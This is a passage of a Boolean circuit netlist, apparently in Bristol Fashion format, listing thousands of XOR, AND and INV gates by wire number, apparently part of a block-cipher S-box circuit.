27227 27233 XOR +2 1 33861 27233 27238 XOR +2 1 27320 27305 27296 AND +2 1 27296 27302 27247 XOR +2 1 27247 27238 27294 XOR +2 1 27296 27297 27199 XOR +2 1 27199 27200 27246 XOR +2 1 27246 27228 27245 XOR +2 1 27299 27245 27293 XOR +2 1 27317 27308 27295 AND +2 1 27295 27298 27248 XOR +2 1 27295 27301 27252 XOR +2 1 27252 27224 27239 XOR +2 1 27247 27239 27291 XOR +2 1 27296 27248 27242 XOR +2 1 27228 27248 27202 XOR +2 1 27202 27227 27292 XOR +2 1 27233 27252 27201 XOR +2 1 33859 27201 27244 XOR +2 1 27299 27242 27198 XOR +2 1 33855 27198 27286 XOR +2 1 27294 27293 27290 AND +2 1 27290 27244 27285 XOR +2 1 27290 27292 27289 XOR +2 1 27291 27289 27288 AND +2 1 27288 27244 27287 XOR +2 1 27288 27300 27193 XOR +2 1 27193 27229 27189 XOR +2 1 33861 27189 27192 XOR +2 1 27288 27238 27190 XOR +2 1 33859 27189 27188 XOR +2 1 27285 27286 27284 AND +2 1 27284 27292 27283 XOR +2 1 27290 27284 27282 XOR +2 1 27284 27242 27197 XOR +2 1 27284 27301 27196 XOR +2 1 27196 27298 27191 XOR +2 1 27191 27192 27275 XOR +2 1 27292 27282 27281 AND +2 1 27281 27289 27279 XOR +2 1 27281 27299 27251 XOR +2 1 27251 27245 27273 XOR +2 1 33855 27251 27234 XOR +2 1 27234 27197 27280 XOR +2 1 27287 27279 27278 AND +2 1 27278 27247 27237 XOR +2 1 27237 27239 27277 XOR +2 1 27278 27302 27195 XOR +2 1 27234 27195 27187 XOR +2 1 27224 27187 27194 XOR +2 1 27191 27194 27276 XOR +2 1 27237 27190 27274 XOR +2 1 27187 27188 27272 XOR +2 1 27273 27310 27271 AND +2 1 27280 27309 27270 AND +2 1 27283 33854 27269 AND +2 1 27269 27271 27250 XOR +2 1 27274 27304 27268 AND +2 1 27277 27316 27267 AND +2 1 27267 27268 27253 XOR +2 1 27287 27306 27266 AND +2 1 27266 27267 27204 XOR +2 1 27275 27307 27265 AND +2 1 27272 27305 27264 AND +2 1 27264 27253 27243 XOR +2 1 27264 27267 27219 XOR +1 1 27219 27216 INV +2 1 27264 27265 27215 XOR +2 1 27265 27243 27203 XOR +2 1 27276 27308 27263 AND +2 1 27273 27314 27262 AND +2 1 27280 27311 27261 AND +2 1 27283 27315 27260 AND +2 1 27260 27243 27209 XOR +1 1 27209 27206 INV +2 1 27274 27319 27259 AND +2 1 27259 27263 27235 XOR +2 1 27268 27259 27220 XOR +1 1 27235 27213 INV +2 1 27277 27312 27258 AND +2 1 27266 27258 27222 XOR +2 1 27287 27313 27257 AND +2 1 27213 27257 27212 XOR +2 1 27212 27250 27208 XOR +2 1 27275 27318 27256 AND +2 1 27256 27208 27211 XOR +2 1 27272 27320 27255 AND +2 1 27255 27256 27249 XOR +2 1 27261 27249 27231 XOR +2 1 27262 27231 27232 XOR +2 1 27270 27232 27236 XOR +2 1 27271 27236 27241 XOR +2 1 27253 27241 35648 XOR +2 1 35644 35648 8159 XOR +2 1 27222 27249 27218 XOR +2 1 27250 27218 27221 XOR +2 1 27220 27221 27324 XOR +2 1 27213 27218 27217 XOR +2 1 27216 27217 27323 XOR +2 1 27241 27215 27322 XOR +2 1 27231 27208 27207 XOR +2 1 27206 27207 35646 XOR +2 1 35642 35646 8178 XOR +2 1 27269 27236 27205 XOR +2 1 27204 27205 35647 XOR +2 1 35643 35647 8168 XOR +2 1 27232 27203 35649 XOR +2 1 35645 35649 8128 XOR +2 1 35634 35649 8136 XOR +1 1 8136 7903 INV +2 1 27276 27317 27254 AND +2 1 27265 27254 27214 XOR +1 1 27214 27210 INV +2 1 27210 27211 27321 XOR +1 1 8178 7990 INV +2 1 7903 35646 7904 XOR +2 1 8136 35647 7907 XOR +1 1 27323 33105 INV +2 1 7990 33105 7988 XOR +2 1 32865 33105 8182 XOR +1 1 27324 33106 INV +2 1 32866 33106 8190 XOR +2 1 8190 8136 7991 XOR +2 1 7903 33106 7901 XOR +1 1 27321 33111 INV +2 1 32871 33111 8153 XOR +2 1 8153 35648 7987 XOR +1 1 7987 7985 INV +1 1 27322 33112 INV +2 1 32872 33112 8142 XOR +2 1 8128 33112 7977 XOR +2 1 8142 33111 7980 XOR +1 1 7085 33243 INV +2 1 33243 35395 7030 XOR +2 1 7029 7030 35277 XOR +2 1 33243 32921 6872 XOR +2 1 6872 6873 7155 XOR +2 1 7155 7147 35274 XOR +2 1 35274 886 33775 XOR +2 1 33775 33777 22891 XOR +2 1 33776 22891 22893 XOR +2 1 33780 22893 22974 XOR +2 1 33779 22893 22971 XOR +2 1 22898 22893 22973 XOR +2 1 33775 22983 22979 XOR +2 1 33775 33776 22908 XOR +2 1 22908 22980 22978 XOR +2 1 33781 33775 22986 XOR +2 1 22986 22971 22967 AND +2 1 22967 22892 22896 XOR +2 1 22983 22979 22966 AND +2 1 22980 22973 22965 AND +2 1 35277 883 33778 XOR +2 1 33778 33780 22894 XOR +2 1 33778 33781 22985 XOR +2 1 22985 22908 22981 XOR +2 1 22891 22985 22977 XOR +2 1 33774 22977 22976 XOR +2 1 33776 33778 22987 XOR +2 1 22892 22987 22972 XOR +2 1 22894 22892 22854 XOR +2 1 22891 22854 22975 XOR +2 1 22894 33779 22853 XOR +2 1 33774 22853 22982 XOR +2 1 22977 22981 22970 AND +2 1 22970 22894 22897 XOR +2 1 22978 22976 22969 AND +2 1 22982 33774 22968 AND +2 1 22985 22974 22964 AND +2 1 22964 22893 22895 XOR +2 1 22897 22895 22901 XOR +2 1 33781 22901 22906 XOR +2 1 22987 22972 22963 AND +2 1 22963 22969 22915 XOR +2 1 22915 22906 22961 XOR +2 1 22963 22964 22867 XOR +2 1 22867 22868 22914 XOR +2 1 22914 22896 22913 XOR +2 1 22966 22913 22960 XOR +2 1 22984 22975 22962 AND +2 1 22962 22965 22916 XOR +2 1 22962 22968 22920 XOR +2 1 22920 22892 22907 XOR +2 1 22915 22907 22958 XOR +2 1 22963 22916 22910 XOR +2 1 22896 22916 22870 XOR +2 1 22870 22895 22959 XOR +2 1 22901 22920 22869 XOR +2 1 33779 22869 22912 XOR +2 1 22966 22910 22866 XOR +2 1 33775 22866 22953 XOR +2 1 22961 22960 22957 AND +2 1 22957 22912 22952 XOR +2 1 22957 22959 22956 XOR +2 1 22958 22956 22955 AND +2 1 22955 22912 22954 XOR +2 1 22955 22967 22861 XOR +2 1 22861 22897 22857 XOR +2 1 33781 22857 22860 XOR +2 1 22955 22906 22858 XOR +2 1 33779 22857 22856 XOR +2 1 22952 22953 22951 AND +2 1 22951 22959 22950 XOR +2 1 22957 22951 22949 XOR +2 1 22951 22910 22865 XOR +2 1 22951 22968 22864 XOR +2 1 22864 22965 22859 XOR +2 1 22859 22860 22942 XOR +2 1 22959 22949 22948 AND +2 1 22948 22956 22946 XOR +2 1 22948 22966 22919 XOR +2 1 22919 22913 22940 XOR +2 1 33775 22919 22902 XOR +2 1 22902 22865 22947 XOR +2 1 22954 22946 22945 AND +2 1 22945 22915 22905 XOR +2 1 22905 22907 22944 XOR +2 1 22945 22969 22863 XOR +2 1 22902 22863 22855 XOR +2 1 22892 22855 22862 XOR +2 1 22859 22862 22943 XOR +2 1 22905 22858 22941 XOR +2 1 22855 22856 22939 XOR +2 1 22940 22977 22938 AND +2 1 22947 22976 22937 AND +2 1 22950 33774 22936 AND +2 1 22936 22938 22918 XOR +2 1 22941 22971 22935 AND +2 1 22944 22983 22934 AND +2 1 22954 22973 22933 AND +2 1 22933 22934 22872 XOR +2 1 22942 22974 22932 AND +2 1 22939 22972 22931 AND +2 1 22931 22934 22887 XOR +1 1 22887 22884 INV +2 1 22931 22932 22883 XOR +2 1 22943 22975 22930 AND +2 1 22940 22981 22929 AND +2 1 22947 22978 22928 AND +2 1 22950 22982 22927 AND +2 1 22941 22986 22926 AND +2 1 22926 22930 22903 XOR +2 1 22935 22926 22888 XOR +1 1 22903 22881 INV +2 1 22944 22979 22925 AND +2 1 22933 22925 22890 XOR +2 1 22954 22980 22924 AND +2 1 22881 22924 22880 XOR +2 1 22880 22918 22876 XOR +2 1 22942 22985 22923 AND +2 1 22923 22876 22879 XOR +2 1 22939 22987 22922 AND +2 1 22922 22923 22917 XOR +2 1 22928 22917 22899 XOR +2 1 22929 22899 22900 XOR +2 1 22937 22900 22904 XOR +2 1 22938 22904 22909 XOR +2 1 22890 22917 22886 XOR +2 1 22918 22886 22889 XOR +2 1 22888 22889 22991 XOR +2 1 22881 22886 22885 XOR +2 1 22884 22885 22990 XOR +2 1 22909 22883 22989 XOR +2 1 32872 22989 7953 XOR +2 1 22989 32806 7981 XOR +2 1 7980 7981 7979 XOR +1 1 7979 35536 INV +2 1 35536 697 33964 XOR +2 1 22899 22876 22875 XOR +2 1 22936 22904 22873 XOR +2 1 22872 22873 35637 XOR +2 1 35632 35637 8179 XOR +1 1 35637 7906 INV +2 1 35643 7906 7916 XOR +2 1 22943 22984 22921 AND +2 1 22932 22921 22882 XOR +1 1 22882 22878 INV +2 1 22878 22879 22988 XOR +1 1 22990 35635 INV +2 1 32800 35635 8193 XOR +2 1 8193 8190 7950 XOR +1 1 22989 35640 INV +1 1 22988 35639 INV +2 1 32806 35639 8164 XOR +2 1 22988 35633 7986 XOR +2 1 8193 8178 7972 XOR +2 1 35631 7972 35540 XOR +2 1 32799 35640 8157 XOR +2 1 8157 8128 7965 XOR +2 1 7985 7986 35535 XOR +2 1 7906 35631 7905 XOR +2 1 7904 7905 8209 XOR +2 1 8209 8168 35533 XOR +2 1 22990 32801 7902 XOR +2 1 7901 7902 8210 XOR +2 1 8210 8182 35531 XOR +2 1 35531 702 33959 XOR +2 1 35533 700 33961 XOR +2 1 33959 33961 24146 XOR +2 1 35540 693 33968 XOR +2 1 8164 8142 7966 XOR +2 1 8157 33112 7956 XOR +1 1 7956 7954 INV +2 1 33243 35412 7009 XOR +2 1 35535 698 33963 XOR +2 1 7009 7010 35288 XOR +2 1 22934 22935 32718 XOR +2 1 22931 32718 22911 XOR +2 1 22932 22911 22871 XOR +2 1 22900 22871 35641 XOR +2 1 35641 35645 8135 XOR +2 1 8135 33105 7909 XOR +2 1 35634 35641 8131 XOR +2 1 8190 8131 7976 XOR +2 1 32801 7976 35538 XOR +2 1 35538 695 33966 XOR +2 1 22927 22911 22877 XOR +1 1 8135 7914 INV +2 1 7914 35648 7915 XOR +2 1 7915 7916 8205 XOR +2 1 7914 35647 7911 XOR +2 1 35641 32799 7978 XOR +2 1 7977 7978 35537 XOR +2 1 35537 696 33965 XOR +2 1 33963 33965 24147 XOR +2 1 33965 33959 24242 XOR +1 1 22877 22874 INV +2 1 22874 22875 35636 XOR +1 1 35636 7913 INV +2 1 7913 32800 7989 XOR +2 1 35642 7913 7912 XOR +2 1 7911 7912 8206 XOR +2 1 8206 8179 35549 XOR +2 1 35549 684 33977 XOR +2 1 35631 35636 8186 XOR +1 1 8186 7961 INV +2 1 7961 8168 7970 XOR +2 1 7961 35646 7959 XOR +2 1 7988 7989 35532 XOR +2 1 35532 701 33960 XOR +2 1 33965 33960 24240 XOR +2 1 33961 33960 24123 XOR +2 1 33960 24146 24148 XOR +2 1 33963 24148 24227 XOR +2 1 24242 24227 24223 AND +2 1 24223 24147 24151 XOR +2 1 33964 24148 24230 XOR +2 1 33959 33960 24163 XOR +2 1 32718 22909 35638 XOR +2 1 35633 35638 8171 XOR +2 1 8205 8171 35550 XOR +2 1 8171 8153 7967 XOR +2 1 32806 7967 35543 XOR +2 1 35543 690 33971 XOR +2 1 35550 683 33978 XOR +2 1 35638 35632 7908 XOR +2 1 7907 7908 8208 XOR +2 1 8208 8159 35534 XOR +2 1 35534 699 33962 XOR +2 1 33962 33964 24149 XOR +2 1 33962 33965 24241 XOR +2 1 24241 24163 24237 XOR +2 1 24146 24241 24233 XOR +2 1 33960 33962 24243 XOR +2 1 24147 24243 24228 XOR +2 1 24149 24147 24109 XOR +2 1 24146 24109 24231 XOR +2 1 24149 33963 24108 XOR +2 1 24233 24237 24226 AND +2 1 24226 24149 24152 XOR +2 1 24241 24230 24220 AND +2 1 24220 24148 24150 XOR +2 1 24152 24150 24156 XOR +2 1 33965 24156 24161 XOR +2 1 24243 24228 24219 AND +2 1 24219 24220 24122 XOR +2 1 24122 24123 24169 XOR +2 1 24169 24151 24168 XOR +2 1 24240 24231 24218 AND +2 1 35644 35638 7958 XOR +1 1 8179 7945 INV +2 1 7945 8159 7968 XOR +2 1 32799 7966 35544 XOR +2 1 35544 689 33972 XOR +2 1 33966 33972 28770 XOR +2 1 33971 28770 28856 XOR +2 1 35634 7965 35545 XOR +2 1 35545 688 33973 XOR +2 1 33971 33973 28764 XOR +2 1 28764 28770 28853 XOR +2 1 33973 33968 28857 XOR +2 1 32865 22990 7960 XOR +2 1 7959 7960 35548 XOR +2 1 35548 685 33976 XOR +2 1 33976 33978 30820 XOR +2 1 33977 33976 30700 XOR +2 1 32871 22988 7955 XOR +2 1 7954 7955 35552 XOR +1 1 7950 7948 INV +2 1 8186 8182 7946 XOR +2 1 35642 7946 35556 XOR +2 1 35556 677 33984 XOR +2 1 7945 8178 7943 XOR +2 1 8164 8159 7939 XOR +2 1 32871 7939 35559 XOR +2 1 35559 674 33987 XOR +2 1 8157 8153 7938 XOR +2 1 32872 7938 35560 XOR +2 1 35560 673 33988 XOR +2 1 8142 8131 7937 XOR +2 1 35645 7937 35561 XOR +2 1 35561 672 33989 XOR +2 1 33987 33989 31564 XOR +2 1 33989 33984 31657 XOR +2 1 35288 872 33789 XOR +2 1 33789 33783 13950 XOR +2 1 33787 33789 13855 XOR +2 1 13857 13855 13817 XOR +2 1 13854 13817 13939 XOR +2 1 13855 13861 13944 XOR +2 1 13944 13937 13929 AND +2 1 13872 13944 13942 XOR +2 1 33786 33789 13949 XOR +2 1 13949 13938 13928 AND +2 1 13928 13856 13858 XOR +2 1 13854 13949 13941 XOR +2 1 33782 13941 13940 XOR +2 1 13855 13951 13936 XOR +2 1 13951 13936 13927 AND +2 1 13927 13928 13830 XOR +2 1 13830 13831 13878 XOR +2 1 13942 13940 13933 AND +2 1 13950 13935 13931 AND +2 1 13931 13855 13859 XOR +2 1 13878 13859 13877 XOR +2 1 13949 13872 13945 XOR +2 1 13941 13945 13934 AND +2 1 13934 13857 13860 XOR +2 1 13860 13858 13864 XOR +2 1 33789 13864 13870 XOR +2 1 33789 33784 13948 XOR +2 1 13948 13939 13926 AND +2 1 13930 13877 13924 XOR +2 1 13927 13933 13879 XOR +2 1 13879 13870 13925 XOR +2 1 13925 13924 13921 AND +2 1 13926 13929 13880 XOR +2 1 13859 13880 13833 XOR +2 1 13833 13858 13923 XOR +2 1 13921 13923 13920 XOR +2 1 13927 13880 13874 XOR +2 1 13930 13874 13829 XOR +2 1 33783 13829 13917 XOR +2 1 13926 13932 13884 XOR +2 1 13884 13855 13871 XOR +2 1 13879 13871 13922 XOR +2 1 13922 13920 13919 AND +2 1 13919 13870 13821 XOR +2 1 13919 13931 13824 XOR +2 1 13824 13860 13820 XOR +2 1 33787 13820 13819 XOR +2 1 33789 13820 13823 XOR +2 1 13864 13884 13832 XOR +2 1 33787 13832 13876 XOR +2 1 13919 13876 13918 XOR +2 1 13921 13876 13916 XOR +2 1 13916 13917 13915 AND +2 1 13915 13874 13828 XOR +2 1 13921 13915 13913 XOR +2 1 13923 13913 13912 AND +2 1 13912 13920 13910 XOR +2 1 13918 13910 13909 AND +2 1 13909 13879 13869 XOR +2 1 13869 13821 13905 XOR +2 1 13869 13871 13908 XOR +2 1 13909 13933 13826 XOR +2 1 13905 13935 13899 AND +2 1 13908 13947 13898 AND +2 1 13898 13899 13867 XOR +2 1 13918 13937 13897 AND +2 1 13897 13898 13835 XOR +2 1 13915 13932 13827 XOR +2 1 13915 13923 13914 XOR +2 1 13914 33782 13900 AND +2 1 13914 13946 13891 AND +2 1 13905 13950 13890 AND +2 1 13899 13890 13851 XOR +2 1 13827 13929 13822 XOR +2 1 13918 13944 13888 AND +2 1 13908 13943 13889 AND +2 1 13897 13889 13853 XOR +2 1 13822 13823 13906 XOR +2 1 13906 13938 13896 AND +2 1 13906 13949 13887 AND +2 1 13912 13930 13883 XOR +2 1 33783 13883 13865 XOR +2 1 13865 13828 13911 XOR +2 1 13865 13826 13818 XOR +2 1 13818 13819 13903 XOR +2 1 13903 13936 13895 AND +2 1 13895 13867 13875 XOR +2 1 13891 13875 13840 XOR +2 1 13895 13898 13850 XOR +1 1 13850 13847 INV +2 1 13903 13951 13886 AND +1 1 13840 13837 INV +2 1 13911 13940 13901 AND +2 1 13911 13942 13892 AND +2 1 13895 13896 13846 XOR +2 1 13896 13875 13834 XOR +2 1 13855 13818 13825 XOR +2 1 13886 13887 13881 XOR +2 1 13853 13881 13849 XOR +2 1 13892 13881 13862 XOR +2 1 13822 13825 13907 XOR +2 1 13907 13948 13885 AND +2 1 13896 13885 13845 XOR +1 1 13845 13841 INV +2 1 13907 13939 13894 AND +2 1 13890 13894 13866 XOR +1 1 13866 13844 INV +2 1 13844 13849 13848 XOR +2 1 13847 13848 13954 XOR +2 1 13844 13888 13843 XOR +2 1 13883 13877 13904 XOR +2 1 13904 13941 13902 AND +2 1 13904 13945 13893 AND +2 1 13893 13862 13863 XOR +2 1 13863 13834 35626 XOR +2 1 13901 13863 13868 XOR +2 1 13900 13868 13836 XOR +2 1 13835 13836 35624 XOR +2 1 13902 13868 13873 XOR +2 1 13873 13846 13953 XOR +2 1 35624 7887 7899 XOR +2 1 35626 35630 8129 XOR +2 1 8148 8129 8037 XOR +2 1 35622 8037 35505 XOR +2 1 8129 32804 8019 XOR +2 1 35624 35628 8155 XOR +2 1 8217 8155 35501 XOR +2 1 8019 8020 35513 XOR +2 1 35513 720 33941 XOR +2 1 8017 8155 8026 XOR +2 1 8170 8129 8008 XOR +2 1 35501 732 33929 XOR +2 1 7999 8155 7996 XOR +2 1 13867 13873 35625 XOR +2 1 35625 35629 8150 XOR +2 1 8216 8150 35502 XOR +2 1 35502 731 33930 XOR +2 1 8025 8150 8023 XOR +1 1 35625 7998 INV +2 1 8129 7998 7997 XOR +2 1 7998 35621 8013 XOR +2 1 8012 8013 35519 XOR +2 1 35519 714 33947 XOR +2 1 35505 728 33933 XOR +2 1 33930 33933 31098 XOR +2 1 13900 13902 13882 XOR +2 1 13843 13882 13839 XOR +2 1 13887 13839 13842 XOR +2 1 13841 13842 13952 XOR +2 1 13862 13839 13838 XOR +2 1 13837 13838 35623 XOR +2 1 35623 35619 7897 XOR +2 1 35623 35627 8160 XOR +2 1 8162 8160 8003 XOR +2 1 8169 8160 8028 XOR +2 1 35614 8028 35508 XOR +2 1 35508 725 33936 XOR +2 1 33941 33936 28997 XOR +2 1 8160 32932 8042 XOR +2 1 8042 8043 35500 XOR +2 1 35500 733 33928 XOR +2 1 33929 33928 30980 XOR +2 1 33933 33928 31097 XOR +2 1 33928 33930 31100 XOR +2 1 13882 13849 13852 XOR +2 1 13851 13852 13955 XOR +2 1 7996 7997 35526 XOR +2 1 35526 707 33954 XOR +2 1 8154 8150 7995 XOR +2 1 35622 35626 8137 XOR +2 1 8170 8137 8018 XOR +2 1 8137 32932 7894 XOR +2 1 8137 35628 7896 XOR +2 1 7896 7897 8212 XOR +2 1 8212 8162 35517 XOR +2 1 35517 716 33945 XOR +2 1 32925 8018 35514 XOR +2 1 35514 719 33942 XOR +1 1 8137 7900 INV +2 1 7900 35629 7898 XOR +2 1 7898 7899 8211 XOR +2 1 8211 8158 35518 XOR +2 1 35518 715 33946 XOR +2 1 8129 35624 8004 XOR +2 1 8003 8004 35525 XOR +2 1 35525 708 33953 XOR +2 1 8164 33111 7957 XOR +2 1 7957 7958 35551 XOR +2 1 35551 682 33979 XOR +1 1 13954 32869 INV +2 1 8129 32869 8007 XOR +2 1 32869 32932 8163 XOR +2 1 8218 8163 35499 XOR +2 1 35499 734 33927 XOR +2 1 8170 8163 8030 XOR +2 1 8165 8163 8005 XOR +2 1 32869 7874 8016 XOR +2 1 8015 8016 35516 XOR +2 1 35516 717 33944 XOR +2 1 35623 8005 35524 XOR +2 1 35524 709 33952 XOR +2 1 33944 33946 30960 XOR +2 1 33945 33944 30840 XOR +2 1 33927 33929 31003 XOR +2 1 33928 31003 31005 XOR +2 1 31003 31098 31090 XOR +2 1 33927 33928 31020 XOR +2 1 31098 31020 31094 XOR +2 1 33933 33927 31099 XOR +2 1 31090 31094 31083 AND +2 1 33952 33954 31800 XOR +2 1 33953 33952 31680 XOR +1 1 13955 32870 INV +2 1 32870 8008 35522 XOR +2 1 35522 711 33950 XOR +2 1 32870 32925 8167 XOR +2 1 8167 8130 8032 XOR +2 1 32862 8032 35506 XOR +2 1 8167 8139 8044 XOR +2 1 32805 8044 35498 XOR +2 1 35506 727 33934 XOR +2 1 8169 8167 8006 XOR +2 1 8006 8007 35523 XOR +2 1 32870 32805 7895 XOR +2 1 7894 7895 8213 XOR +2 1 8213 8169 35515 XOR +2 1 35515 718 33943 XOR +2 1 35523 710 33951 XOR +2 1 33943 33945 30863 XOR +2 1 33944 30863 30865 XOR +2 1 33947 30865 30944 XOR +2 1 33943 33944 30880 XOR +2 1 33951 33953 31703 XOR +2 1 33952 31703 31705 XOR +2 1 33951 33952 31720 XOR +2 1 35498 735 33926 XOR +2 1 33926 31090 31089 XOR +1 1 8171 7942 INV +1 1 13952 32875 INV +2 1 32875 32930 8145 XOR +2 1 8145 35629 8040 XOR +2 1 8040 8041 35503 XOR +2 1 8158 8145 8022 XOR +2 1 32867 8022 35511 XOR +2 1 8148 32875 8010 XOR +2 1 8010 8011 35520 XOR +2 1 35520 713 33948 XOR +2 1 33948 30865 30947 XOR +2 1 33946 33948 30866 XOR +2 1 33942 33948 30870 XOR +2 1 30870 30865 30946 XOR +2 1 33947 30870 30956 XOR +2 1 33943 30956 30952 XOR +2 1 30866 33947 30825 XOR +2 1 33942 30825 30955 XOR +2 1 30955 33942 30941 AND +2 1 30956 30952 30939 AND +2 1 35503 730 33931 XOR +2 1 33931 31005 31084 XOR +2 1 33931 33933 31004 XOR +2 1 31004 31100 31085 XOR +2 1 31099 31084 31080 AND +2 1 31080 31004 31008 XOR +2 1 31100 31085 31076 AND +2 1 32875 7995 35527 XOR +2 1 35527 706 33955 XOR +2 1 33955 31705 31784 XOR +2 1 35511 722 33939 XOR +2 1 33939 33941 28904 XOR +1 1 13953 32876 INV +2 1 32876 8021 35512 XOR +2 1 35626 32876 7993 XOR +2 1 32804 32876 8147 XOR +2 1 8147 32931 8038 XOR +2 1 8038 8039 35504 XOR +2 1 35504 729 33932 XOR +2 1 8147 8130 8009 XOR +2 1 35630 8009 35521 XOR +2 1 35521 712 33949 XOR +2 1 7992 7993 35529 XOR +2 1 35529 704 33957 XOR +2 1 35512 721 33940 XOR +2 1 33934 33940 28910 XOR +2 1 28904 28910 28993 XOR +2 1 33939 28910 28996 XOR +2 1 33947 33949 30864 XOR +2 1 30864 30960 30945 XOR +2 1 33946 33949 30958 XOR +2 1 30958 30880 30954 XOR +2 1 30864 30870 30953 XOR +2 1 30880 30953 30951 XOR +2 1 30863 30958 30950 XOR +2 1 33942 30950 30949 XOR +2 1 30866 30864 30826 XOR +2 1 30863 30826 30948 XOR +2 1 33949 33943 30959 XOR +2 1 33949 33944 30957 XOR +2 1 30950 30954 30943 AND +2 1 30943 30866 30869 XOR +2 1 30951 30949 30942 AND +2 1 30959 30944 30940 AND +2 1 30940 30864 30868 XOR +2 1 30953 30946 30938 AND +2 1 30958 30947 30937 AND +2 1 30937 30865 30867 XOR +2 1 30869 30867 30873 XOR +2 1 33949 30873 30878 XOR +2 1 30960 30945 30936 AND +2 1 30936 30942 30887 XOR +2 1 30887 30878 30934 XOR +2 1 30936 30937 30839 XOR +2 1 30839 30840 30886 XOR +2 1 30886 30868 30885 XOR +2 1 30939 30885 30933 XOR +2 1 30957 30948 30935 AND +2 1 30935 30938 30888 XOR +2 1 30935 30941 30892 XOR +2 1 30892 30864 30879 XOR +2 1 30887 30879 30931 XOR +2 1 30936 30888 30882 XOR +2 1 30868 30888 30842 XOR +2 1 30842 30867 30932 XOR +2 1 30873 30892 30841 XOR +2 1 33947 30841 30884 XOR +2 1 30939 30882 30838 XOR +2 1 33943 30838 30926 XOR +2 1 30934 30933 30930 AND +2 1 30930 30884 30925 XOR +2 1 30930 30932 30929 XOR +2 1 30931 30929 30928 AND +2 1 30928 30884 30927 XOR +2 1 30928 30940 30833 XOR +2 1 30833 30869 30829 XOR +2 1 33949 30829 30832 XOR +2 1 30928 30878 30830 XOR +2 1 33947 30829 30828 XOR +2 1 30925 30926 30924 AND +2 1 30924 30932 30923 XOR +2 1 30930 30924 30922 XOR +2 1 30924 30882 30837 XOR +2 1 30924 30941 30836 XOR +2 1 30836 30938 30831 XOR +2 1 30831 30832 30915 XOR +2 1 30932 30922 30921 AND +2 1 30921 30929 30919 XOR +2 1 30921 30939 30891 XOR +2 1 30891 30885 30913 XOR +2 1 33943 30891 30874 XOR +2 1 30874 30837 30920 XOR +2 1 30927 30919 30918 AND +2 1 30918 30887 30877 XOR +2 1 30877 30879 30917 XOR +2 1 30918 30942 30835 XOR +2 1 30874 30835 30827 XOR +2 1 30864 30827 30834 XOR +2 1 30831 30834 30916 XOR +2 1 30877 30830 30914 XOR +2 1 30827 30828 30912 XOR +2 1 30913 30950 30911 AND +2 1 30920 30949 30910 AND +2 1 30923 33942 30909 AND +2 1 30909 30911 30890 XOR +2 1 30914 30944 30908 AND +2 1 30917 30956 30907 AND +2 1 30907 30908 30893 XOR +2 1 30927 30946 30906 AND +2 1 30906 30907 30844 XOR +2 1 30915 30947 30905 AND +2 1 30912 30945 30904 AND +2 1 30904 30893 30883 XOR +2 1 30904 30907 30859 XOR +1 1 30859 30856 INV +2 1 30904 30905 30855 XOR +2 1 30905 30883 30843 XOR +2 1 30916 30948 30903 AND +2 1 30913 30954 30902 AND +2 1 30920 30951 30901 AND +2 1 30923 30955 30900 AND +2 1 30900 30883 30849 XOR +1 1 30849 30846 INV +2 1 30914 30959 30899 AND +2 1 30899 30903 30875 XOR +2 1 30908 30899 30860 XOR +1 1 30875 30853 INV +2 1 30917 30952 30898 AND +2 1 30906 30898 30862 XOR +2 1 30927 30953 30897 AND +2 1 30853 30897 30852 XOR +2 1 30852 30890 30848 XOR +2 1 30915 30958 30896 AND +2 1 30896 30848 30851 XOR +2 1 30912 30960 30895 AND +2 1 30895 30896 30889 XOR +2 1 30901 30889 30871 XOR +2 1 30902 30871 30872 XOR +2 1 30910 30872 30876 XOR +2 1 30911 30876 30881 XOR +2 1 30893 30881 35845 XOR +2 1 30862 30889 30858 XOR +2 1 30890 30858 30861 XOR +2 1 30860 30861 30964 XOR +2 1 30853 30858 30857 XOR +2 1 30856 30857 30963 XOR +2 1 30881 30855 30962 XOR +2 1 30871 30848 30847 XOR +2 1 30846 30847 35843 XOR +2 1 30909 30876 30845 XOR +2 1 30844 30845 35844 XOR +2 1 30872 30843 35846 XOR +2 1 30916 30957 30894 AND +2 1 30905 30894 30854 XOR +1 1 30854 30850 INV +2 1 30850 30851 30961 XOR +2 1 33932 31005 31087 XOR +2 1 33930 33932 31006 XOR +2 1 31083 31006 31009 XOR +2 1 33926 33932 31010 XOR +2 1 31010 31005 31086 XOR +2 1 31004 31010 31093 XOR +2 1 31020 31093 31091 XOR +2 1 33931 31010 31096 XOR +2 1 33927 31096 31092 XOR +2 1 31006 31004 30966 XOR +2 1 31003 30966 31088 XOR +2 1 31006 33931 30965 XOR +2 1 33926 30965 31095 XOR +2 1 31091 31089 31082 AND +2 1 31076 31082 31027 XOR +2 1 31095 33926 31081 AND +2 1 31096 31092 31079 AND +2 1 31093 31086 31078 AND +2 1 31098 31087 31077 AND +2 1 31077 31005 31007 XOR +2 1 31009 31007 31013 XOR +2 1 33933 31013 31018 XOR +2 1 31027 31018 31074 XOR +2 1 31076 31077 30979 XOR +2 1 30979 30980 31026 XOR +2 1 31026 31008 31025 XOR +2 1 31079 31025 31073 XOR +2 1 31097 31088 31075 AND +2 1 31075 31078 31028 XOR +2 1 31075 31081 31032 XOR +2 1 31032 31004 31019 XOR +2 1 31027 31019 31071 XOR +2 1 31076 31028 31022 XOR +2 1 31008 31028 30982 XOR +2 1 30982 31007 31072 XOR +2 1 31013 31032 30981 XOR +2 1 33931 30981 31024 XOR +2 1 31079 31022 30978 XOR +2 1 33927 30978 31066 XOR +2 1 31074 31073 31070 AND +2 1 31070 31024 31065 XOR +2 1 31070 31072 31069 XOR +2 1 31071 31069 31068 AND +2 1 31068 31024 31067 XOR +2 1 31068 31080 30973 XOR +2 1 30973 31009 30969 XOR +2 1 33933 30969 30972 XOR +2 1 31068 31018 30970 XOR +2 1 33931 30969 30968 XOR +2 1 31065 31066 31064 AND +2 1 31064 31072 31063 XOR +2 1 31070 31064 31062 XOR +2 1 31064 31022 30977 XOR +2 1 31064 31081 30976 XOR +2 1 30976 31078 30971 XOR +2 1 30971 30972 31055 XOR +2 1 31072 31062 31061 AND +2 1 31061 31069 31059 XOR +2 1 31061 31079 31031 XOR +2 1 31031 31025 31053 XOR +2 1 33927 31031 31014 XOR +2 1 31014 30977 31060 XOR +2 1 31067 31059 31058 AND +2 1 31058 31027 31017 XOR +2 1 31017 31019 31057 XOR +2 1 31058 31082 30975 XOR +2 1 31014 30975 30967 XOR +2 1 31004 30967 30974 XOR +2 1 30971 30974 31056 XOR +2 1 31017 30970 31054 XOR +2 1 30967 30968 31052 XOR +2 1 31053 31090 31051 AND +2 1 31060 31089 31050 AND +2 1 31063 33926 31049 AND +2 1 31049 31051 31030 XOR +2 1 31054 31084 31048 AND +2 1 31057 31096 31047 AND 